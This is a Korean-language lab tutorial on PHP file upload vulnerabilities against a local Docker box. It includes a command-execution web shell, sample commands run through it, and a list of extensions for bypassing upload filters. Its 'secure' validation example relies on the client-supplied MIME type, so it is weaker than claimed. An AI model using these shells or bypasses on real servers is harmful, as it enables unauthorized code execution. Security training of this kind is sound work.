소개
본 랩은 웹 애플리케이션에서 흔히 발생하는 보안 문제인 파일 업로드 취약점에 초점을 맞춥니다. 이러한 취약점을 식별하고, 잠재적인 영향을 이해하며, 이를 악용하는 방법을 탐구하는 방법을 배우게 됩니다. 이 랩은 실용적인 예제를 통해 실습 경험을 제공하여 웹 애플리케이션 보안 개념과 방어 조치를 더 잘 이해할 수 있도록 합니다.
파일 업로드 취약점 이해
파일 업로드 취약점은 웹 애플리케이션이 업로드된 파일을 제대로 검증하지 못할 때 발생합니다. 이는 공격자가 악성 파일을 업로드하도록 허용하여 잠재적으로 서버에서 원격 코드 실행 (Remote Code Execution) 으로 이어질 수 있습니다.
move_uploaded_file() 함수를 사용하여 PHP 에서 일반적인 파일 업로드 구현을 살펴보겠습니다.
<?php
// The move_uploaded_file() function moves an uploaded file to a new location
// Returns true on success, false on failure
move_uploaded_file($file, $newloc);
매개변수:
$file: 이동할 업로드된 파일$newloc: 파일의 대상 경로
안전한 구현은 다음 예제와 같이 적절한 검증을 포함해야 합니다.
<?php
// Define allowed image extensions
$allowedExts = array("gif", "jpeg", "jpg", "png");
$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp); // Get the file extension
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/jpg")
|| ($_FILES["file"]["type"] == "image/pjpeg")
|| ($_FILES["file"]["type"] == "image/x-png")
|| ($_FILES["file"]["type"] == "image/png"))
&& ($_FILES["file"]["size"] < 204800) // Less than 200 KB
&& in_array($extension, $allowedExts))
{
if ($_FILES["file"]["error"] > 0)
{
echo "Error: " . $_FILES["file"]["error"] . "<br>";
}
else
{
echo "Uploaded file name: " . $_FILES["file"]["name"] . "<br>";
echo "File type: " . $_FILES["file"]["type"] . "<br>";
echo "File size: " . ($_FILES["file"]["size"] / 1024) . " KB<br>";
echo "Temporary file location: " . $_FILES["file"]["tmp_name"];
}
}
else
{
echo "Invalid file format";
}
?>
이 코드는 몇 가지 중요한 보안 검사를 보여줍니다.
- 파일 확장자 검증
- MIME 타입 확인
- 파일 크기 제한
- 오류 처리
이러한 검증이 없으면 공격자는 서버에서 실행되는 악성 파일을 업로드할 수 있습니다.
서버 측 언어 식별
파일 업로드 취약점을 악용하기 전에 웹 애플리케이션에서 사용되는 서버 측 언어를 식별하는 것이 중요합니다. 이 정보는 성공적인 악용을 위해 어떤 유형의 파일을 업로드해야 하는지 결정합니다.
먼저, 랩 환경을 설정해 보겠습니다.
docker run -d -p 82:80 --name pentesterlab-WebforPentest-1 -it jewel591/vulnbox:pentesterlab-WebforPentest-1 /bin/sh -c 'service apache2 start && tail -f /var/log/apache2/error.log' && docker exec pentesterlab-WebforPentest-1 chmod 777 /var/www/upload/images
이 명령을 실행한 후, 환경이 http://localhost:82에서 접근 가능한지 확인합니다.
서버 측 언어를 식별하는 방법:
URL 파일 확장자:
.php확장자는 PHP 를 나타냅니다..asp또는.aspx확장자는 ASP.NET 을 나타냅니다..jsp확장자는 Java Server Pages 를 나타냅니다.
서버 헤더:
- Microsoft IIS 는 일반적으로 ASP.NET 을 실행합니다.
- Apache 또는 Nginx 는 일반적으로 PHP 를 실행합니다.
- Apache Tomcat 은 JSP 를 실행합니다.
Wappalyzer 브라우저 확장 프로그램을 사용하여 웹 서버 및 프로그래밍 언어를 자동으로 감지할 수 있습니다.
랩 환경에서는 다음을 확인할 수 있습니다.
Web Server: Apache
Backend Language: PHP
웹 쉘 업로드
이제 서버 측 언어가 PHP 임을 확인했으므로, 서버에서 명령을 실행하기 위해 PHP 웹 쉘을 업로드하겠습니다.
웹 쉘 모음은 다음에서 찾을 수 있습니다.
https://github.com/iSecurity-Club/Pentest-Methodologies/tree/master/web-exploit-exp/fileupload/php
/home/labex/project디렉토리에 테스트 파일phpinfo.php를 생성합니다.
<?php phpinfo(); ?>
파일을 업로드합니다.
- http://localhost:82/upload/example1.php를 방문합니다.
- phpinfo.php 파일을 선택하고 업로드합니다.
업로드를 확인합니다.
- http://localhost:82/upload/images/phpinfo.php에 접속합니다.
- PHP 구성 정보 페이지가 표시되어야 합니다.
명령 실행 쉘
shell.php를 생성합니다.
<?php echo "Shell"; system($_GET['cmd']); ?>
쉘을 업로드하고 테스트합니다.
- 동일한 방법으로 shell.php 를 업로드합니다.
- http://localhost:82/upload/images/shell.php에 접속합니다.
- 경고 메시지가 표시될 수 있습니다 (매개변수 없이 예상됨).
명령을 실행합니다.
현재 사용자 확인: http://localhost:82/upload/images/shell.php?cmd=whoami 예상 출력: www-data
파일 및 시스템 정보 나열: http://localhost:82/upload/images/shell.php?cmd=ls;uname%20-a 예상 출력: 디렉토리 목록 및 시스템 정보
참고: 이 랩은 기본적인 웹 쉘 기능을 보여줍니다. 리버스 쉘 (reverse shell) 및 권한 상승 (privilege escalation) 과 같은 고급 주제는 더 고급 과정에서 다룹니다.
서버 제한 우회 (선택 사항)
일부 웹 애플리케이션은 악성 파일 업로드를 방지하기 위해 파일 확장자 제한을 구현합니다. 이 섹션에서는 이러한 제한을 우회하는 방법을 살펴봅니다.
.php 확장자가 차단된 경우, 실행 가능할 수 있는 대체 PHP 확장자를 시도해 보십시오.
.php3확장자로 업로드해 봅니다.- http://localhost:82/upload/example2.php를 방문합니다.
- phpinfo.php3 을 업로드합니다.
- http://localhost:82/upload/images/phpinfo.php3에 접속합니다.
실패하면
.phar확장자를 시도해 봅니다.- phpinfo.phar 를 업로드합니다.
- http://localhost:82/upload/images/phpinfo.phar에 접속합니다.
시도해 볼 일반적인 우회 확장자:
- .php3
- .php4
- .php5
- .phar
- .phtml
참고: 성공 여부는 서버 구성에 따라 다릅니다. 서버마다 PHP 코드로 실행할 수 있는 확장자가 다를 수 있습니다.
요약
이 랩에서는 파일 업로드 취약성의 필수적인 측면을 다루었습니다.
핵심 개념:
- 파일 업로드 취약성 메커니즘 이해
- 서버 측 프로그래밍 언어 식별
- 웹 쉘 업로드 및 실행
- 파일 확장자 제한 우회
획득한 기술:
- 서버 측 언어 감지
- 웹 쉘 생성 및 배포
- 업로드된 파일을 통한 명령 실행
- 확장자 우회 기술
보안 영향:
- 부적절한 파일 유효성 검사의 영향
- 적절한 업로드 제한의 중요성
- 서버 측 실행 위험
이 기본적인 지식은 후속 과정에서 다루는 고급 웹 애플리케이션 보안 주제를 위한 준비를 제공합니다.



